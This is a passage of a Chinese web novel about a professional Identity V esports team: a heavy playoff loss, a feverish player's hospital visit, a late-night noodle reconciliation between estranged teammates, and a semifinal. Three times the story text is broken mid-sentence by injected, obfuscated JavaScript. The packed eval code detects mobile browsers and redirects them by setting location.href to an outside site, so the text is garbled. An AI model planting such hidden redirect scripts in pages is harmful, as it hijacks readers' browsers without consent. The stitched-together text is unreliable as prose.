16. 惨败 祝清嘉的心蓦地一沉,他垂下眼,把没说出口的话咽回了肚子里。 宋时谨这话说得其实没什么问题,只是对状态不好的队友表达了一点点关心,但祝清嘉还是无故地感到有些烦躁。 刚才赛场上失误秒倒的时候,心都没这么乱过。 祝清嘉不知道这种不快究竟源自于哪里,也并不打算细想,于是他把此时的情绪简单地归结于对宋时谨这个人的不爽。 他闷声丢下了一句“知道了”,没再多逗留,快步追上了队友,上台落座。 戴上耳机前,祝清嘉的心绪依旧是混乱的,他咬着下唇,不让自己想多余的事情。 直播间内。 【感觉清嘉的表情好紧绷,是紧张了吗?】 【他有啥可紧张的,又不是第一次打比赛了。】 【估计是bo1打得太菜,回去被教练训了呗。】 【不像。看着像刚才回备战间和辛西娅吵了一架。】 【跟辛西娅有什么关系?能不能别乱带节奏?】 【单纯状态不好吧。赛前导播切备战间镜头的时候,中秋节脑门上还贴着退烧贴呢。】 【我靠心率也很高啊,刚才被Link追的时候心率80稳如老狗,现在都快飙到120了。】 【比赛暂停,救救选手!】 比赛进入BP阶段。 PUZ地图选择了唐人街,ban掉了Link的歌剧演员。 这一场的BP是知秋提前准备好的,他们也确实如愿拿到了想要的阵容:火灾调查员、勘探员、哭泣小丑以及调酒师。 天赋确认后,Link锁下了时空之影。 这一张图的这个套路体系,他们练了很久,因此现在对上Link的艾维,祝清嘉还是很有自信的。 Link或许是觉得今天祝清嘉的状态一般,又或许只是践行自己赛前喊话的内容,bo2依然选择首追祝清嘉的勘探员。 祝清嘉给了第一刀后就去中场找调酒喝回血酒,然后坐上哭泣小丑的火箭推进器,顺利拉开闪现距离,前期艾维的节奏一度崩盘。 因为没能在追击上取得优势,Link只好慢慢控场寻找机会。 终于在对局进行到四分钟的时候,想念的火灾调查员飞轮失误,被秒在了地下室,外面状态全残,无人能救,最后半台机被死死控住。 祝清嘉想和调酒师在狮子楼背后偷偷补血,被Link当场逮捕,至此节奏全乱,开门战被四抓。 求生方连着两局失利,战队陷入劣势。上场前大家还能开开玩笑,这会儿是彻底笑不出来了,就这么沉默地回到备战间。 想念心态明显有点崩了,他对宋时谨说:“对不起,我说真的,要不我现在给哥磕一个吧,打得太烂了。” 宋时谨正准备上场,闻言只是平静道:“没事,bo2上半场而已。” 他安慰想念时的语气,和刚才安慰自己的语气并没有什么区别,祝清嘉潜意识里给两者做了个对比。 然后又很快反应过来,这个比较根本毫无意义。 教练拍了拍想念的肩膀,跟在宋时谨身后一起上台了。 由于ASK上半场有五分的大优势,bo2的BP更是不讲道理,全员双弹飞轮,救人位飞轮搏命,四个人凑不出一个大心脏。 又奔着跑一个去了。 祝清嘉深呼一口气,揉了揉脸。 明明是练过了无数次的阵容体系,训练赛的时候也打出了不错的效果,正式比赛发挥成这样实在让人难以接受。 退烧贴起到的作用微乎甚微,因为一直没得到充分的休息,头疼还有愈演愈烈的架势,备战间里的暖气吹得他浑身发烫,几乎要喘不上气来。 有人拍了拍他的后背,祝清嘉抬头,对上冷落的眼睛。 他用掌心试了一下祝清嘉额头的温度,担心道:“实在不舒服就跟我们说,我看你的状态真的很糟糕。” 祝清嘉说:“还好,备战间里不透气,上台会好一点。” 冷落拿了一袋手撕面包,递给祝清嘉:“吃点东西?” 祝清嘉其实很饿,但真的看到食物又觉得吃不下,他寻思着喝点水垫垫肚子算了。 然后他就听冷落说:“刚才小娅上台前跟我说,你都快一天没吃过东西了,让我盯着你吃点儿。” “你就当给我个面子,多少吃点吧,否则到时候都没力气打比赛了。” 祝清嘉接过面包思考了两秒,感觉吃一点也不是不行,他拆开包装袋,小声道:“谢谢冷队。” 备战间的小电视里,宋时谨确实有点被双弹飞轮折磨到了,好几刀关键刀都被对面用飞轮规避掉了。 不过好在开门战前就暴露出了四个人没大心脏,宋时谨开门战打针对,艾维捏着个闪现守双门,最终保下三抓。 又是一个6:3。 钟情都替宋时谨感到憋屈:“ASK敢不敢做正常bp?是男人就堂堂正正地决斗!四个飞轮算什么本事!” 祝清嘉也觉得无力,因为ASK的bp是建立在他们人队被四抓的基础上做的。 bo2结束,有一个短暂的场间休息,给选手调整状态。 知秋在给人队复盘bo2后期运营的问题,因为前两局的失利,大家整体状态都不高。 bo3,双方再次交换选边权,赛前工作人员到备战间确认PUZ这场先上阵营。 宋时谨主动说:“人队先上吧。” 知秋看了他一眼,首肯:“人队先上。” 工作人员点点头:“PUZ人队首发,准备上场。” 祝清嘉刚才吃了面包,现在总算是有了点力气,至少不会走个路都发飘。 可他还是感到很难受。 宋时谨两局三杀,在被对手bp针对成这样的情况下,已经是相当不错的成绩了,然而战队的比分还是处于大劣势。 即便如此,他依然在bo3赛前主动提出后上抗压。 戴上耳机前,祝清嘉听见现场PUZ的粉丝声嘶力竭的应援声,也隐约听到了自己的id。 他忽然想起曾经有个宋时谨的粉丝说过,不是辛西娅的抗压能力强,就活该让他把把抗压的。 当时的祝清嘉对此不屑一顾。 现在再想起这句话,只觉得五味杂陈。 他加入联赛是想带飞宋时谨的,想证明这个冠军并没有那么遥不可及。 可是到头来还是宋时谨一个人在背负,是他在给人队的失误埋单。 大家面上没说什么,但是心里都很想为主屠分担一些压力,越急切地想拿分,就越容易丢分。 bo3对上Link的梦之女巫,开局寄生钟情,队内沟通报点失误,冷落拉点拉到了原生信徒的脸上,白给一刀。 女巫张狂解锁一阶技能,闪现秒杀冷落的时候,场上电机加起来一台半。之后就是女巫不断控电机、消耗道具和状态的滚雪球局。 bo3连开门战都没有,剩两台机的时候就被四抓了。 下台的时候,祝清嘉就知道今天要输了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14872769|159581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 宋时谨下半场要抓四个才能打bo4,想要赢还得想办法还上前两局6:3的劣势。 回到备战间,祝清嘉根本不敢看宋时谨的表情。 打三局都跑不掉一个,属于是菜得毫无底线了。 宋时谨上场前说:“估计四杀不了。” 知秋心里清楚人队的状态有问题,就算宋时谨这局能四杀,之后两局也很难扳回之前比分的劣势。 最后根据ASK的阵容,选了一手使徒安。 知秋下场前,最后说了句:“对面给机会就争四抓,不给机会就算了,没必要硬拼,保点个人数据也是好的。” 宋时谨只是低声笑了一下:“早就过了那个在意数据的年纪了。” 事实上他这一局的天赋选择就很拼,张狂底牌移形使徒,把所有机会都压在了前期的击倒节奏上。 ASK这一把倒是老实了,选了个速修阵容,全员都带上大心脏,把死一个卖一个的策略贯彻到底。 最终因为开门战没一刀斩,底牌也早早切成了失常,遗憾保平,PUZ三比零输掉了今天的比赛。 MVP自然给到了三把抓了十二个的Link。 祝清嘉没心情听ASK的赛后采访,抬手关掉备战间里的小电视,众人收拾好情绪,准备去战队签售会。 九万苦口婆心地劝了半天:“清嘉签售就别去了吧?都高烧一整天了,你现在肯定也很累了,我陪你去医院看看,等下发个微博解释情况,粉丝们都能理解的。” 祝清嘉态度很坚决:“不行。有粉丝千里迢迢从外地赶过来,明天就要赶回去。好不容易来一趟,我再累也不会比他们更累。” 九万说什么都拗不过他,只好妥协:“等下签售的时候,我就站在你身后,撑不住了随时跟我说,听到没有?” 祝清嘉心不在焉地点点头。 PUZ的粉丝数量相当庞大,一签就是两个小时。因为今天比赛输得格外惨烈,粉丝排队签名时都以鼓励和安慰为主。 祝清嘉尽力调动起情绪,回应每一位粉丝的声援。 宋时谨就坐在祝清嘉身边,相比之下他的签售风格就简约很多,说的最多话是多谢和辛苦了。 不少粉丝会在签售的时候给选手送礼物,俱乐部不让选手收贵重的礼物,因此大部分都是粉丝的手写信、自制的周边小卡,还有一些鲜花。 宋时谨身边摆了两只箱子,一只放信,另一只放花,两个小时过去,都装得满满当当。 平时大家说宋时谨拿了多少次人气监管的荣誉,祝清嘉都没什么感觉,甚至很不解。 这个人无论是签售、采访、拍宣传片,哪怕是偶尔录个综艺,都有一种淡淡的人机感,到底是怎么圈到这么多粉丝的? 现在祝清嘉好像有点明白这个问题的答案了。 或许只是因为宋时谨对游戏、对赛场和对粉丝观众的真诚吧。 祝清嘉走了会神,发现下一位排队的粉丝在他身前,只是站着看着,没有把手中的应援手幅递给他签名。 祝清嘉没多想,以为只是这位粉丝比较腼腆,不好意思主动说话,于是他伸出双手,想接过她手中的那张手幅。 就在他伸手的瞬间,那位粉丝略过了祝清嘉,把手幅递给了他身旁的钟情。 祝清嘉一时间没反应过来,呆了两秒,然后在尴尬和不知所措中收回了自己的手。 她并不想要我的签名。 她一定对我今天的表现感到非常失望吧。 祝清嘉心想。 17. 闲聊 见面会结束的时候,已经是九点多了。 众人赶着回去复盘,九万则带着祝清嘉去医院挂号,一量体温都烧到三十九度了。 祝清嘉又是打比赛又是签售,忙了一天,这会浑身都像散了架似的,又酸又疼。 明天下午两点还有比赛,他本来是想趁着打点滴的时候补个觉的,结果刚闭上眼,脑海中就浮现出签售时那个粉丝失望的神情。 祝清嘉睁开眼,彻底睡不着了。他打开手机,在论坛首页随便找了个高评高赞的贴子点进去,一楼一楼往下翻。 【主题贴:宋时谨三局抓八难掩颓势,人队000尽显强队风采。】 【你说PUZ人队,一批一批换过多少个首发了,改过了吗?换汤不换药啊!平时看看数据面板还凑合,一碰到Link集体降智。】 【早说了什么垃圾都捡只会害了PUZ,总部是完全不给第五分部拨款吗?人队配置一年更比一年烂。】 【二十八岁高龄的老队长、ASK吃剩的厨余垃圾、青训营里开的盲盒、还有个原地出道的娱乐主播。一想到这四个人能组一支职业战队我就想笑。】 【钟情再次证明了选择大于努力。在ASK躺好了还能混两个冠军,转会到PUZ直接两轮游预定。】 【老队长更是逆天,bo3梦游到原生信徒脸上,反绕是不防的,运营是三人开门战被四杀的,没睡醒?】 【还有某家粉丝狂吹的最佳新秀,幽默囚徒,电提前交会死吗?非要秀操作把自己秀死,给爷整笑了。】 【Miss也是稳定发挥,菜都菜得毫无特色,这个赛季多少次飞轮按不出来了?】 【怎么都在喷人队?是辛西娅bo1捏着失常目送亮机梅开三度不好笑吗?】 【牢娅早就没那个心气了,必四局拿个猫出来堂堂开摆,两轮游怎么了?两轮游也不影响我娅神在PUZ签着联盟顶薪合同。】 【人队杂有点良心就别拉主屠共沉沦,他今天的表现没有对不起任何人。】 …… 因为今天比赛的发挥实在糟糕,网友们谁都没放过,从人队到屠夫到教练都被无差别批斗了个遍。 就事论事,今天宋时谨打得很不错了,但是嘲讽他的评论却是最多的。 如果是以前,祝清嘉可能只是当个乐子看。 宋时谨此人仿佛自带血雨腥风体质,赢也被人骂,输也被人骂,这么多年来一直如此,他本人估计都习惯了。 可现在祝清嘉作为他的队友,第一次想为他辩解一些什么。 明明不是他的错,明明他已经尽力了。 但是祝清嘉实在没那个精力和黑粉对线,他给几个骂得特别难听的账号点了举报,然后关上了论坛,决定眼不见为净。 九万见他手机上划来划去操作了半天,劝道:“清嘉稍微休息一会吧?明天下午还有比赛,药水我帮你看着。” 祝清嘉坦诚道:“睡不着,我现在两眼一闭就是000。” “白给失误谁都有,别拿此刻当永久嘛,”九万安慰他,“就算是小娅和Link也都有打得不好的时候,你毕竟还是个新人,粉丝们都会理解你的。” 祝清嘉却沉默了。 是新人就可以理所当然地失误了吗? 联赛里一直都有新人保护卡的说法,因为这个人是新人,所以不管是粉丝、观众还是队友,都要无条件地宽容他的失误? 祝清嘉并不能认可。 无论一位选手是在役一天、在役一年、哪怕是在役十年,只要站在这赛场上,就应该展现出自己最高的竞技水平。 他曾经是这样认为的,现在依然。 而且祝清嘉也不觉得自己是新人,他玩这个游戏的时间不比任何人少。今天他的操作就是有失水准,被粉丝骂也是活该,确实打得稀烂。 九万看他不说话,又道:“那你跟我聊会天?转移一下注意力,别总想着失误。” 祝清嘉其实没什么心情聊天,但知道九万是好心,于是点点头:“聊什么?” 九万看似很随意地找了个话题:“你现在队里,是和钟情的关系最好吧?” 祝清嘉“嗯”了一声。 钟情是自来熟的那款,和谁的关系都不错,粉丝调侃他是联赛交际花,就连宋时谨都能和他有说有笑聊半天。 真要说他和钟情的关系有多好,其实谈不上,但加上队内的限定条件,钟情确实是PUZ里和他关系最好的。 九万说:“那钟情有没有告诉你,其实他当时不是被ASK挂牌的,ASK的管理层想留他再打一个赛季,但他自己提出了有转会的意愿,他们经理才来联系我。” ASK被粉丝戏称为ivl的黄埔军校,其他战队的替补大部分时候都是用来看饮水机的,除非首发状态特别差或者有特殊情况无法上场的时候才有机会轮换。 但ASK没有固定的首发和替补,他们人队有六位选手,竞争上岗,谁状态好谁首发,失误两把就轮换。选手的更新换代也非常频繁,操作稍有下滑就会被挂牌。 听起来有些不近人情,但确实很出成绩,五个冠军就是最有力的证明。 祝清嘉和钟情的关系显然没有好到无话不谈的程度,钟情并没有和他提过以前的事。 见祝清嘉摇头,九万接着道:“当时我觉得非常意外,毕竟钟情刚在ASK拿下两连冠,他居然在这种时候选择了转会。” 祝清嘉倒是可以理解钟情的想法:“在ASK压力太大了吧。” ASK的氛围差算是人尽皆知的事情,选手都是明面上的竞争关系,自然谈不上什么团魂,粉丝也大多是成绩粉和冠军粉。 连胜的时候还好,只要一输比赛,队内和粉丝之间的气氛就很压抑。 “压力大只是其中一个方面,”九万说,“钟情来我们基地谈合同的那天,我问他为什么想转会,他说他想证明自己,离开ASK后一样能拿到冠军。” 因为宋时谨的缘故,祝清嘉平时没少关注赛事。 今年深渊开赛前夕,ASK没有任何征兆地官宣了钟情转会的消息,那天论坛所有人都在说,ASK终于受不了钟情这个菜逼了。 大家都默认钟情是被挂牌的。 他转会后,因为各种各样的原因,碰上前东家的比赛都输了,被网友嘲笑至今。 祝清嘉不想评价他人的选择,只是点点头,表示自己在听。 刚好这瓶药水挂完了,九万按了下护士铃,等换完药后又问祝清嘉:“还想听谁的八卦吗?队里队外的都可以,只要能说我就讲给你听。” 机会难得,祝清嘉终于问出了那个他很想知道的问题:“所以Link和宋时谨到底是什么关系啊?” 九万却没有直接回答这个问题:“其实Link这些年也挺不容易的。” 祝清嘉没忍住,吐槽了一句:“他有什么不容易的?五个冠军,三个FMVP,他要是不容易,那整个ivl就没有容易的人了。” 九万回忆道:“大概是21年的事了,有段时间Link的状态不是很好,季后赛第一轮输了,然后在第二轮碰到了我们。” “他前两局接连失误,我送小娅上场的时候,在后台听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14872770|159581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到他们教练正在训他,声音不小,那天好多人都听到了。” “他的队友上场前也一直在压力他,最后的结果当然是被我们三比零抬走了。那是ASK建队以来最差的成绩,季后赛两轮游。” “那天比赛结束后,Link没回自己的备战间,而是敲响了我们备战间的门,一进去就抱着小娅痛哭了一场。” “我看他情绪真的很崩溃,就安慰了几句,带着其他队员走了。我不知道那天小娅具体和他说了些什么,反正从那以后,Link就常来备战间找小娅了。” 祝清嘉垂着眼睫,半晌才说了句:“这样啊。” 他对Link总是有一种莫名的敌意,觉得这人的精神状态简直有病。 但是听九万这么一说,又觉得Link有病也是情有可原的,在这么高压的环境下,不仅没疯还坚持打了这么久,已经算他心理素质远超常人了。 九万:“曾经再怎么不容易Link也挺过来了,如今熬成了ASK的皇太子,整支战队都围着他转,还拿了这么多冠军,职业生涯都圆满了。” 祝清嘉和九万有一搭没一搭地聊了会天,边聊边回复冷落他们的消息。 PUZ所有人都私聊关心了一下他,就连基地阿姨都发微信问他身体好点了没,唯独宋时谨完全没有找过他。 祝清嘉心想,他现在肯定不想搭理自己吧,今天早上把他惹得那么生气,比赛的时候又拖了他的后腿。 正这么想着,宋时谨在战队群里发了个长视频。 祝清嘉点进去,是知秋在复盘今天的比赛,视频里钟情冷落想念都在场,这个视频是发给谁看的不言而喻。 视频是外放的,九万注意到这边的动静,感慨道:“还是小娅心细,知秋估计压根没想起来要给你录视频这回事。” 祝清嘉知道这个视频是宋时谨专门录给自己看的,心中复杂,他在输入框里打出了谢谢两个字,又很快地删掉。 最后他拍了拍宋时谨的头像。 九万从钟情聊到Link,终于把话题带到了宋时谨身上,问他:“你今天早上是不是和小娅闹矛盾了?” 祝清嘉抿唇,没说话。 九万:“我也不劝你们和好,季后赛就剩这几天了,好好打完也就结束了。” 祝清嘉愣了一下:“什么结束?这个赛季吗?” “你知道小娅是有手伤的吧?”九万说,“今年深渊结束后他打了封闭针,但是效果并不好,训练时间长了还是会疼,有时候训练结束吃饭,我看他拿筷子的手都在抖。” “这次秋季赛开赛前,小娅找我聊过了,说这个赛季打完可能就不打了,他想休息一段时间。” 祝清嘉被休息这个词轻轻地刺了一下。 休息不等同于退役,但是真的有太多选手的退役是从休息一段时间开始的了。 可是宋时谨还没拿过冠军呢,就这么退役他甘心吗? 九万说他训练时间久了手会疼,那前一段时间为什么还每天和自己加练到深夜?他真的有必要练这么久吗? 吊完水回到俱乐部时,已经是凌晨一点多了。 祝清嘉站在宿舍门口,忽然有点不敢开门。这个点宋时谨应该还没睡,但是祝清嘉忽然想起来,他今天早上和九万说过想换宿舍。 他现在已经换了吗?如果没换的话,见到他该说些什么?还是说他其实已经睡了? 祝清嘉站在门口纠结了半天,就在他终于做好心理准备开门的那个瞬间,门从里面打开了。 宋时谨问:“我听到你在门口站半天了,怎么不进来?” 18. 宵夜 祝清嘉没想到宋时谨会忽然开门,刚刚打好的腹稿卡了下壳,没说出口。 宋时谨见他不说话,于是微微侧了一下身,意思是让他进来。 祝清嘉很顺从地抬步进门,然后听见身后啪嗒一声响,宋时谨把门关上了。 宿舍里静谧无声,祝清嘉的桌子上仍旧摆着昨晚的那只超市购物袋,一旁宋时谨的桌子上开着一盏小夜灯。 两个人都没有说话,房间里只能听到沉默的呼吸声。 祝清嘉的目光不由自主地,看向了宋时谨自然垂落在身侧的手上。 他应该是刚洗过澡,现在手上既没有贴膏药,也没有贴肌效贴。为了避免影响操作,他的指甲总是剪得很短,圆润而整齐。 祝清嘉回想起了刚才在医院里,经理说的那些话。 如果宋时谨打完秋季赛退役的话,那这就是他职业生涯里最后一次夺冠的机会了。 祝清嘉忽然想起来,今年深渊的总决赛,那应该是宋时谨整个职业生涯中离冠军最近的时刻。 关注联赛时间久的观众都知道,宋时谨最开始是玩追击流屠夫起家的,出道时一手绝活蜘蛛技惊四座,成为了多少粉丝心中的白月光。 最初的那段时间里,ivl的监管者选手大致可以分成两个流派。 一派是以Link为代表的控场流,另一派则是以宋时谨为代表的追击流。 Link的成名角色是梦之女巫,非常典型的控场型监管者,他很喜欢和对手拼运营拉扯,找机会慢慢扩大自己的优势。 而宋时谨的比赛风格也很明显,他倾向于用极致的追击来代替控场。 只要能抓到人,那么节奏就永远掌握在自己手中,不会陷入被动。 今年深渊是歌剧和鹿头的版本,开赛前,其实有不少人猜测PUZ会夺冠。 宋时谨的歌剧演员确实练得登峰造极,深渊时还是没有被策划削弱的巅峰歌剧,只要bo1选出来就是稳定四杀。 所有人都在说,这是最适合宋时谨的版本,他也确实如同大家猜测的那样,顺利打进了决赛。 在决赛bo5的上半场,宋时谨率先完成了四杀,按照比分来说,人队只要下半场跑一个就能夺冠,真的离冠军只有一步之遥。 结果PUZ人队被Link藏的一手隐士打得毫无还手之力,三台机被四杀。 于是那天现场所有观众都在为Link背水一战的隐士欢呼沸腾,宋时谨又一次成为了别人的绝境翻盘的背景板。 比赛结束后,人队自然被骂得很惨,论坛上让退役的、求解散的评论铺天盖地。 宋时谨为了平息节奏,当晚特意开了个直播。 他说,战队的失利每一个人都难辞其咎,也包括他自己。他和粉丝说,不要把所有的错都简单地归结于bo5人队被四杀。 宋时谨直播的时候,祝清嘉就在他直播间里。 当时具体发了什么弹幕,祝清嘉现在已经忘了,但想也知道不是什么好话,肯定贱得要命。 祝清嘉盯着他的手看了一会,半晌,很郑重地抬起头,说:“对不起,我错了。” 我不该今天早上和你吵那一架的。 也不该在你最伤心难过的时候,还跑到你的直播间里贴脸开大的。 宋时谨很明显愣了一下,问:“为什么要道歉?” “我说今天早上的事情,我其实没有把你的伞扔掉。” 祝清嘉简单把昨晚的事概述了一下,然后又说了一遍:“对不起,我不该擅作主张把你的伞送人的,下次我再还你一把伞。” “没事的,”宋时谨沉默一会,又说,“那你现在……还难受吗?” 祝清嘉摇头:“好多了,医生说回去睡一觉就能退烧了。” 宋时谨点点头。暖橘色的灯光映在他眼底,像是漂亮的玻璃珠。 祝清嘉看了一会他的眼睛,很别扭地说:“今天早上,你和万老板说的话我都听到了。那你还打不打算换宿舍了?” 祝清嘉这话问出来就是不想宋时谨换的意思,但是祝清嘉怕他拒绝,于是把之前想好的话一股脑全倒出来了。 “其实这个赛季也没几天了,换来换去的你不嫌麻烦吗?而且知秋晚上打呼真的震天响,我隔着房门都能听到,你换了肯定休息不好会影响第二天比赛的状态。” 祝清嘉自顾自分析了一堆,最后得出结论:“你要不就别换了呗?凑合凑合再睡两晚,反正也要放假了。” 宋时谨当时也就是说了个气话,并没有真的打算换的意思,这会儿祝清嘉已经替他找好了这么多理由,也就顺水推舟地应下了:“有道理。不换了。” 祝清嘉还没来得及高兴,就听宋时谨又说:“但我还有一个问题。” 祝清嘉:“你说。” 宋时谨知道这种时候说这句话可能有点煞风景,但他真的很想问:“所以你今早的时候为什么不直接跟我说?一定要等我误会了再告诉我吗?” 此时的祝清嘉完全不能共情早上的自己:“不知道,可能我有病吧,但是……” 话还没来得及说完,祝清嘉就听见自己的肚子很不争气地咕噜叫了一声。 “……但是我真的好饿。” 没想到昨天买的零食今天就派上了用场,祝清嘉在塑料袋里挑挑拣拣了一下,拿了一盒草莓味的威化饼干,正准备拆包装,就听宋时谨说:“厨房里有方便面。” 祝清嘉本来是想随便吃点凑合一下,饿不死就行,但听宋时谨这么一说,又很想吃口热乎的。 可是吃泡面的话还要烧开水,祝清嘉是个很怕麻烦的人,他纠结了一下,最终在肚子的抗议声中败下阵来,决定下楼泡面。 厨房里的橱柜碗柜很多,平时基地里有专门做饭的阿姨,祝清嘉对这里不怎么熟悉,这个打开看看,那个打开找找,也没找到宋时谨说的方便面在哪。 祝清嘉摸出手机,正准备给宋时谨发个微信,就听见宋时谨的声音从身后响起:“我来吧,你去边上坐会,很快就好。” 祝清嘉不知道他什么时候下楼的,但是既然宋时谨主动说了,他就没跟他客气,自己跑到厨房外的吧台上坐好。 吧台正对着料理台,而宋时谨则背对着祝清嘉。 宋时谨从橱柜里拿了一袋方便面,在煤气灶上烧水,等水开的时间里,顺便起锅热油煎了两只荷包蛋,又隔热水温了一杯牛奶。 基地一楼晚上不开空调,宋时谨只是在身上随意地披了件外套,里面穿着睡衣,也不知道他冷不冷。 祝清嘉很安静地看着他的背影,莫名生出了一个奇怪的念头。 绝交的这些年,宋时谨的变化似乎比他原先以为的要大很多。 十七八岁的那年,祝清嘉吃饭的时候总是致力于让宋时谨多吃一点。 因为他总觉得宋时谨太瘦了,只吃不长肉,有时候风吹过他宽大的校服外套,看上去空荡荡的。 如今的宋时谨褪去了少年时的单薄,个子大约也长高了一些,可以说肉眼可见的,他这些年在PUZ吃得很好。 水烧开时发出了咕噜的声响,祝清嘉倏然回神。 面饼下水后,宋时谨闷上锅盖,转头从冰箱里拿了根淀粉肠,拆开外包装,在肠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14872771|159581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身上改了下花刀,用刚才煎蛋的油简单煎了一下。 这些事他做得有条不紊,祝清嘉看了眼时间,才过去了十分钟而已。 祝清嘉有时候也挺佩服宋时谨的,因为他做事一直都很效率。 以前高中的时候,宋时谨放学回家半小时内能收拾个两菜一汤出来,而祝清嘉是刷个碗都能用洗洁精吹泡泡玩半天的那种人。 宋时谨把面盛到碗里,端到吧台上,说:“好了。” 祝清嘉真心实意地夸了句:“十分钟极速出餐,牛逼。” 祝清嘉今天只吃了一块面包,这会是真的饿得前胸贴后背。他用筷子挑破了荷包蛋的蛋黄,半流质的蛋黄淌到面条上,看着就让人很有食欲。 祝清嘉有一点点挑食。 鸡蛋无论是水煮的还是油煎的都只吃溏心的,要么就打成蛋花炒菜,反正不接受全熟的蛋黄,因为他觉得全熟的蛋黄味道很腥。 不得不说,宋时谨煎荷包蛋的水平真的很高,外焦脆内溏心,而且蛋的形状也很好看,是浑圆的。 两个人绝交后,祝清嘉好几次在家试图自己复刻宋时谨煎的荷包蛋,但每次不是把蛋煎散了,就是不小心全煎熟了。 祝清嘉真的很久没吃到过这么符合他心意的荷包蛋了,一时间竟然有点怀念。 他习惯性地轻轻吹了一下,咬了口荷包蛋,正准备安心吃饭的时候,宋时谨在他身边坐下了。 祝清嘉咀嚼的动作都变慢了。 他坐在旁边看我吃饭吗?这也太尴尬了吧?但这满满一碗都是他做的,吃上饭了就撵人走确实不合适。 祝清嘉慢慢地把嘴里的东西咽下去,他能感受到宋时谨的目光在他身上短暂停留了片刻。 大概是感受到了祝清嘉的不自在,宋时谨又把凳子往外挪了些,自顾自地看起了今天YU和EW的比赛录像。 其实两个人之间原本就挨得不算近,只是祝清嘉对宋时谨的动作太敏感了。现在宋时谨主动挪了一下位置,他们几乎坐在吧台的左右两端。 宋时谨垂着眸,一边看录像,一边解释自己刚才的行为:“我在这里等你吃完,把碗洗了再回去。” 祝清嘉没说话,筷子无意义地搅了一下面条,他也觉得自己刚才的反应未免太应激了。 他想起了这一个多月以来,宋时谨似乎总是这样,想方设法但又小心翼翼地在向他示好。 每当祝清嘉对他表现出丝毫反感或者不自在的时候,宋时谨就会自觉地离他远一点。 虽然原谅宋时谨是不可能的,但祝清嘉觉得,好像也没必要这么一直针对他,这种行为其实挺幼稚的。 把宋时谨当成普通同事相处就行了。 祝清嘉这么想着,把自己的凳子往宋时谨那边挪了一些,又挪了一些。 这样他们之间的距离比宋时谨刚坐下的时候还要近了。 宋时谨不知道祝清嘉想干什么,只是微微偏过视线看他。 祝清嘉把碗也端到了自己面前。 他看着这碗面,忽然想到了一个很没品的梗,把自己逗笑了。 祝清嘉指着面上的一根淀粉肠和两只荷包蛋,用手肘碰了碰宋时谨的胳膊,说:“100,这数字看上去不太吉利。” 现在整个PUZ上下都对0这个数字异常敏感,宋时谨几乎是秒懂了这个梗:“确实不吉利。还好我没吃。” 祝清嘉:“……” “要么你现在再去煎三个荷包蛋自己吃了呢?一口毒奶直接给自己奶死算了。” 这次轮到宋时谨笑了:“没事,吃吧,能跑一个也很厉害了。” 19. 半决赛 或许是宋时谨这一口毒奶的功劳,第二天PUZ的比赛赢得相当顺利。 人队先是在bo1完成了三跑,bo2bo3更是连着拿下两局四跑,三比零赢下了淘汰赛的第一场,MVP给到了carry三场的祝清嘉。 PUZ众人迅速调整好状态,在淘汰赛中拿下了两连胜,晋级到了半决赛。 钟情整个人很没形象地瘫在备战间的椅子里:“啊,网易什么时候才能改改这阴间的赛程安排,刚和EW打完一个bo5,马上又要和YU打,想想都心累了。” 知秋捏着他的衣领,把人从椅子上提溜了起来:“坐没坐相,旁边的摄像头还在拍呢。人家小娅打屠夫的都还没喊累,你修几台密码机还修累了?” “可是教练我手疼,我腱鞘炎犯了,念宝快来给我揉揉手。” 联赛里监管首发的工资一般比求生首发要高,因为大家都默认打屠夫会更辛苦一点。 打求生有时候一整局都在修机,游戏结束一看牵制数据零秒,连监管者的正脸都没见过。但打监管每时每刻都在操作和思考,全程注意力都要高度集中。 网上也有人调侃:如果喜欢坐牢的话就来ivl打屠夫吧。你别看打屠夫辛苦,其实压力也很大,一个人承担了队伍一半的成绩,但凡失误多一点,还得被四个人的粉丝追着骂。 祝清嘉倒是没觉得多累,毕竟他之前一天能连着播十几个小时的第五人格,但他忍不住在想,那宋时谨呢? 他不是也有手伤吗,连着打两场真的没事吗? 祝清嘉偷偷往宋时谨的方向瞄了一眼。 根据此人操作手机的频率和位置来判断,应该是正在打字回什么人的消息,手就没停下来过。 看起来没什么事。 祝清嘉观察了一会,又忍不住腹诽,这宋时谨到底在跟谁发消息啊?就这么重要吗?非要现在回? 留给选手调整状态的场间休息只有十几分钟,时间这么紧张都要抽空回复一下吗? 就在这时候,队内终于有人良心发现,关心了一下自家主屠的状态。 冷落问:“小娅现在感觉怎么样?累吗?手疼吗?” 宋时谨终于舍得放下他的手机了:“还好。” “真的假的?”冷落明显有点不相信。 只见宋时谨淡定地从队服口袋里摸出一个药盒,上书几个大字:布洛芬缓释胶囊。 